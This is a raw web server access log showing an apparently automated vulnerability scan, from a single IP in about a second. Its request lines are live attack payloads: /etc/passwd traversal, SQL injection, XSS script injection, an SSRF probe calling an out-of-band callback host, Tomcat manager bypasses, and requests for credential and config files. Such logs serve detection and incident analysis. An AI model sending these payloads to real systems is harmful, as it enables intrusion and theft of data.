[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /api/2.0/services/usermgmt/password/flbyaw HTTP/1.1" 220
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.json?FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /eoffice10/server/public/iWebOffice2015/OfficeServer.php HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIDg5CEYlI0nsnpb4QiRk6d7/..;/manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cpt/manage/validate.jsp?sourcestring=validateNum HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/SptmForPortalThumbnail.jsp?preview=portal/SptmForPortalThumbnail.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /UserSelect/ HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /general/weibo/javascript/LazyUploadify/uploadify.php HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wabam HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //temp.php HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /weaver/bsh.servlet.BshServlet HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /client.do HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/backups-dup-lite HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/database.db HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://mail:22/ HTTP/1.1" 226
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.new HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/dashboard.php HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20%27../ecology/WEB-INF/prop/weaver.properties%27 HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cms/login?redirect=cmsycsz3%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2fscript>bn76w HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /home.html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/upload/web-ftp.cgi HTTP/1.1" 199
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIDAXjKYc0ZCXssDmmPG585h HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /usage/ HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Modules/CMS/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssl/localhost.key HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uddiexplorer/ HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //am/XUI/Login HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapi/file/transfer?name=/../../../../../../../../etc/passwd&type=db_backup HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /general/weibo/javascript/uploadify/uploadify.php HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /invoke/pub.file/getFile HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /session_login.cgi HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //fckeditor/_samples/default.html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql/schema.xml HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /guest/users/forgotten?email=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/weekender/friend.php?id=aHR0cHM6Ly9pbnRlcmFjdC5zaA== HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.wget-hsts HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/sendmail.log HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /en/login HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wgetrc HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //admin/ HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /site_cg/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /feed/rdf HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /down_data.php?filename=../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /common/images/Logo.png HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /StudioServer/server/apps/login.php HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php?action=login&type=admin HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //compile.sh HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;/examples/servlets/index.html HTTP/1.1" 226
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http:/ntp/ HTTP/1.1" 226
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Server/.git/config HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/ HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger/index.html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /attachment/personal/_temp.php HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgz4w.php HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //by.htm HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ws2020/ HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /stats/index.html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //202.181.208.139:443.sql HTTP/1.1" 199
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/elementor/ HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/bbpress/ HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/admin/system.users HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/database-backups/ HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //am/json/serverinfo/* HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/gtranslate/ HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sysinfo.cgi HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login/?next=/admin/ HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jpeginfo/jpeginfo.php?url=d5g6to2hausk1oj0j65gyyaztxx1hojwc.oast.live HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webpack.config.js HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wabam/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/maint/repair.php HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIDg5CEYlI0nsnpb4QiRk6d7/..;/host-manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ThinClient/WTM/public/index.html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.config/sftp.json HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webpack.mix.js HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webshell4/login.php HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/affwp-debug.log HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/tmm_db_migrate/tmm_db_migrate.zip HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?page=social-metrics-tracker-export&smt_download_export_file=1 HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../web.config HTTP/1.1" 226
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /StudioServer/server/wwtest/phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.json?FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/redirection/ HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?redirect=cmsycsz3%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2fscript>bn76w HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /installer-log.txt HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/oembed/1.0/proxy HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql/schema.yaml HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /emergency.php HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /readme.html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webviewLogin?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ws-config.json HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /weaver/bsh.servlet.BshServlet HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssl/202.181.208.139:443.key HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /eam/vib?id=C:\\Documents+and+Settings\\All+Users\\Application+Data\\VMware\\VMware+VirtualCenter\\vcdb.properties HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/backup-db/ HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /file/fileNoLogin/%7B%7Bidname%7D%7D HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /eoffice10/server/public/iWebOffice2015/Document/feetq.php HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/gateway/agentinfo HTTP/1.1" 199
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Admin/ServerSide/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/.git/config HTTP/1.1" 196
